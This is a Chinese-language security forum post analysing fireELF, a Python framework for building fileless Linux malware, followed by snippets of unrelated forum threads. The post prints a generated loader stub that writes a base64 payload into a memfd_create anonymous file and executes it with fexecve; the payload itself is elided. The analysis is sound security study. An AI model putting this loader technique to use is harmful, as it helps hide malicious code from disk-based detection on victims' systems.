2019-M02 - Fileless Malware Framework - 資安

Christine avatar
By Christine
at 2019-04-20T13:54

Table of Contents

2019-M02 - Fileless Malware Framework


看文章的時候看到了一個 [project][0] 介紹 fileless 的惡意程式:他是用 python 寫的 linux-based

的無檔案惡意程式套件 可以讓使用者簡單快速的產生、建立一個 fileless 惡意程式


不得不說,這個 project 的 source code 可讀性非常差 (雖然用 Python 撰寫的)

在 main.py 開始有兩個部分:CLI 參數的處理、以及產生惡意程式的部分

在透過一連串的操作之後最後會產生一個 Python 惡意檔案:


#! /usr/bin/env python
import ctypes, os, urllib2, base64
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fexecve = libc.fexecve
content = base64.b64decode("...")
fd = syscall(319, "", 1)
os.write(fd, content)
fexecve(fd, argv, argv)


從產生的程式碼來看他的目的是透過:ctypes 來找到 [fexecve][1] 跟 [sys_memfd_create][2]

這兩個 syscall 來完成無檔案的惡意程式

先透過 **memfd_create** 來產生一個暱名檔案 (anonymous file)、寫入惡意內容、最後透過 **fexecve** 執行。


[0]: https://github.com/rek7/fireELF/
[1]: https://linux.die.net/man/3/fexecve
[2]: https://www.systutorials.com/docs/linux/man/2-memfd_create/

--
Tags: 資安

All Comments

新手請教區網的隔離問題

Faithe avatar
By Faithe
at 2019-04-20T13:17
各位前輩午安 狀況如下: 公司目前的軟體要重寫 所以老闆打算把公司的『客戶資料』跟『訂單資料』分開放 分別放在二台不同的電腦上(一般主板配1230v2) (老闆打死不買伺服器等級的) 以防發生萬一時,整個資料庫被別人一把抓 星期五的時候... 天才的老闆又不知道在那學到實體隔離這個詞 軟體連接的 ...

莫名被植入註冊表自動啟動網站

Daph Bay avatar
By Daph Bay
at 2019-04-14T00:34
這個月到現在確定沒安裝甚麼新東西 然而最近幾天開機卻都出現這個網站 查了後外國也有相同狀況 也是這幾天 裡面也包含解決辦法 https://www.reddit.com/r/hacking/comments/bb7oy5/what_is_this/ 單純就只是註冊表被植入 刪除後看來目前沒甚麼事 不過 ...

電腦被遠端開機

Lydia avatar
By Lydia
at 2019-04-12T15:40
組了一台專門用來掛bt的主機 但之前分享器不會設定 dmz設開放掛bt 為了人在公司方便遠端 還設定了遠端開機、vpn、跟固定ip 大概這兩星期內無緣無故開機了4.5次 (我開機會自動放音樂 凌晨5點被開機囧) bt主機跟自用主機同時被開機的狀況(接同個分享器) 現在dmz已關 只留bt主機的port 跟 ...

2019-M01 - Security Header

Elvira avatar
By Elvira
at 2019-04-05T14:25
2019-M01 - Security Header 在之前的經驗中 有不少研究、開發人員對於網頁服務中的一些安全性設定不是很了解 在這篇[0] 文章中有幫忙整理了一些 對於網頁服務需要設定的 header X- 系列的 HTTP Header 在 MDN[1] 被描述成 - 客製化的 HT ...

電腦被監控

Ida avatar
By Ida
at 2019-04-01T17:23
※ [本文轉錄自 AntiVirus 看板 #1SeTX5Iv ] 作者: fridaystory (要怎麼雲淡風輕) 看板: AntiVirus 標題: [問題] 電腦被監控 時間: Mon Apr 1 17:22:10 2019 電腦的內容會被監看 並且對方的行為模式 應該是用手機在監控(不確定 ...